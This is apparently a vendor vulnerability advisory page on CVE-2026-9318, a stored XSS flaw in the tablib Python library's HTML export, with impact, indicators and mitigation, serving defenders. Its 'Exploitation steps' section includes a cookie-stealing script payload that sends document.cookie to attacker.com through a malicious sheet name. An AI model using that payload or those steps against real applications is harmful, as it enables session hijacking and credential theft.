CVE-2026-9318
Python vulnerability analysis and mitigation

Overview

CVE-2026-9318 is a stored cross-site scripting (XSS) vulnerability in the tablib Python library's HTML export functionality, affecting all versions prior to 3.10.0. The flaw allows authenticated attackers to embed malicious JavaScript payloads in dataset titles, which are interpolated unsanitized into HTML output via the export_book method in the _html.py format handler. The vulnerability was discovered by Katriel Moses and reported through VulnCheck, with the GitHub Advisory (GHSA-gqgw-jghv-mxwx) published on August 12, 2026. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 4.8 (Medium) (GitHub Advisory, Feedly).

Technical details

The root cause is improper neutralization of user-controlled input during HTML page generation (CWE-79). When tablib imports files such as XLSX, ODS, XLS, or YAML, worksheet sheet names are assigned to the Dataset.title attribute; this title is then rendered unescaped inside an HTML <h3> tag by the export_book method in _html.py. An attacker with the ability to craft or supply a malicious file can rename a worksheet to a JavaScript payload (e.g., <script>alert(1)</script>), which is stored and later executed in any browser that renders the exported HTML output. The fix, implemented in pull request #668, escapes the dataset title during HTML serialization (GitHub PR #668, GitHub Advisory).

Impact

Successful exploitation enables arbitrary JavaScript execution in the browsers of users who view the exported HTML output, resulting in session hijacking, unauthorized administrative actions, and sensitive data exposure. Because the payload is stored within the imported file and triggered upon HTML export rendering, the impact extends to any downstream user or system that opens the generated HTML — not just the user who performed the import. Availability is not directly impacted, but confidentiality and integrity of both the vulnerable and subsequent systems are affected at a low-to-moderate level (GitHub Advisory, Feedly).

Exploitability

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the advisory date (Feedly). The EPSS score is approximately 0.181% (8th percentile), indicating a low near-term exploitation probability. The vulnerability requires low privileges (an authenticated user who can create or import datasets) and active user interaction (a victim must render the exported HTML in a browser). It is not listed in the CISA Known Exploited Vulnerabilities catalog. Qualys has published a detection (ID: 5016878) for this vulnerability (GitHub Advisory, Feedly).

Exploitation steps

  1. Craft a malicious file: Create or modify an XLSX, ODS, XLS, or YAML file, renaming a worksheet/sheet to a JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  2. Import the file into a tablib-based application: As an authenticated user with dataset import permissions, upload or import the crafted file into the target application using tablib's import functionality.
  3. Payload stored in Dataset title: Tablib reads the sheet name and assigns it to the Dataset.title attribute without sanitization, persisting the malicious payload.
  4. Trigger HTML export: Wait for or induce an administrator or other privileged user to export the dataset as HTML using tablib's export_book method (or equivalent), which renders the title unescaped inside an <h3> tag.
  5. JavaScript executes in victim's browser: When the victim opens the exported HTML file in a browser, the injected script executes, enabling session cookie theft, credential harvesting, or unauthorized actions on behalf of the victim (GitHub Advisory, GitHub PR #668).

Indicators of compromise

  • File System: Imported spreadsheet files (XLSX, ODS, XLS) or YAML files with worksheet/sheet names containing HTML tags or JavaScript syntax (e.g., <script>, onerror=, javascript:).
  • File System: Generated HTML export files containing unescaped <script> tags or event handler attributes within <h3> elements.
  • Logs: Application logs showing import of files with anomalous sheet names containing special characters (<, >, ", ') in the dataset title field.
  • Network: Outbound HTTP requests from a user's browser to unexpected external domains shortly after opening a tablib-generated HTML export, potentially indicating cookie or credential exfiltration.

Mitigation and workarounds

Upgrade tablib to version 3.10.0 or later, which escapes the dataset title during HTML serialization (fix merged via PR #668 on July 31, 2026) (tablib v3.10.0, GitHub PR #668). As interim mitigations: implement a Content Security Policy (CSP) to restrict JavaScript execution in exported HTML files; sanitize all user-supplied input used in dataset titles before export; and restrict dataset creation and import permissions to trusted users only (Feedly). Avoid opening tablib-generated HTML exports from untrusted sources in a browser until the patch is applied.

Community reactions

The vulnerability was reported by Katriel Moses and VulnCheck, and the tablib maintainers acknowledged the report with thanks in the fix pull request (GitHub PR #668). Red Hat, openSUSE, and INCIBE have published advisories or tracking entries for the CVE, indicating broad awareness across the Linux distribution ecosystem (Feedly). Tenable has released Nessus and cloud security plugins (IDs 334900 and 445898) for detection. No significant social media controversy or widespread community debate has been observed.

Additional resources


SourceThis report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-63003MEDIUM6.5
  • Python logoPython
  • django-cms
NoYesAug 20, 2026
CVE-2026-54624MEDIUM6.5
  • Python logoPython
  • django-cms
NoYesAug 20, 2026
CVE-2026-54622MEDIUM6.5
  • Python logoPython
  • django-cms
NoYesAug 20, 2026
CVE-2026-75526MEDIUM4.4
  • Python logoPython
  • django-cms
NoYesAug 20, 2026
CVE-2026-61663MEDIUM4.3
  • Python logoPython
  • django-cms
NoYesAug 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management